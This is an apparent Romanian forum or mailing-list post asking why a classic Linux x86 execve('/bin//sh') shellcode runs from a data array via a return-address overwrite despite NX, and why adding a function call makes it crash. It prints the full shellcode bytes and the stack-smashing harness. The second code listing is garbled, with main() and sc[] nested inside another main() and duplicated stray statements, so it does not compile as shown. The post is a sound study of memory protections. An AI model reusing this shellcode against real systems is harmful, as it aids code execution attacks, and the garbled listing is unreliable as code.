Buna ziua,<br><br>Sa zicem ca avem urmatorul cod sursa :<br><br>char sc[]=              /* 24 bytes                       */<br>    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */<br>    &quot;\x50&quot;                 /* pushl   %eax                   */<br>
    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */<br>    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */<br>    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */<br>
    &quot;\x50&quot;                 /* pushl   %eax                   */<br>    &quot;\x53&quot;                 /* pushl   %ebx                   */<br>    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */<br>
    &quot;\x99&quot;                 /* cdql                           */<br>    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */<br>    &quot;\xcd\x80&quot;             /* int     $0x80                  */<br>
;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&amp;ret + 2;<br>        *ret = sc;<br><br>}<br><br>Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).<br><br>Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel 32-bit),<br>
caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read &amp; exec,<br>de la adresa 0x08048000, in care se alfa main(), si o pagina read &amp; write (but no exec),<br>in care se afla sc[], de la adresa 0x08049000.<br>
<br>In main, tot ce facem este sa suprascriem pe stiva (care este read &amp; write)<br>adresa de return a lui main(), care suprascrisa trimite la cod executabil de la<br>adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.<br>
<br>So, DE CE functioneaza, totusi ?<br><br>Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,<br>si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face rwx pe pagini.<br>(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele cazuri).<br>
<br><br>Partea a 2-a :<br><br>Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai jos,<br>vom obtine de fiecare data segmentation fault. <br><br>Intrebare : DE CE aici nu &quot;merge&quot;, si mai sus &quot;merge&quot; ?<br>
<br>#include &lt;stdio.h&gt;<br><br>char sc[]=              /* 24 bytes                       */<br>    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */<br>    &quot;\x50&quot;                 /* pushl   %eax                   */<br>
    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */<br>    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */<br>    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */<br>
    &quot;\x50&quot;                 /* pushl   %eax                   */<br>    &quot;\x53&quot;                 /* pushl   %ebx                   */<br>    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */<br>
    &quot;\x99&quot;                 /* cdql                           */<br>    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */<br>    &quot;\xcd\x80&quot;             /* int     $0x80                  */<br>
;<br><br>main()<br>{char sc[]=              /* 24 bytes                       */<br>    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */<br>    &quot;\x50&quot;                 /* pushl   %eax                   */<br>
    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */<br>    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */<br>    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */<br>
    &quot;\x50&quot;                 /* pushl   %eax                   */<br>    &quot;\x53&quot;                 /* pushl   %ebx                   */<br>    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */<br>
    &quot;\x99&quot;                 /* cdql                           */<br>    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */<br>    &quot;\xcd\x80&quot;             /* int     $0x80                  */<br>
;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&amp;ret + 2;<br>        *ret = sc;<br><br>    sleep(1000);<br>}<br>        int *ret;<br><br>        ret = (int *)&amp;ret + 2;<br>        *ret = sc;<br>
<br>         printf(&quot;Security\n&quot;);<br>}<br><br><br>Referinte :<br><a href="http://www.enderunix.org/docs/en/bof-eng.txt">http://www.enderunix.org/docs/en/bof-eng.txt</a><br><a href="http://www.phrack.org/issues.html?issue=49&amp;id=14#article">http://www.phrack.org/issues.html?issue=49&amp;id=14#article</a><br>
<br>Cu gandul ca doar cu o cunoastere temeinica a subiectului<br>si a feature-urilor de securitate pe care le ofera sistemul de operare<br>putem dormi linistiti daca avem servere conectate la Internet :-),<br>va multumesc,<br>
Alexandru<br>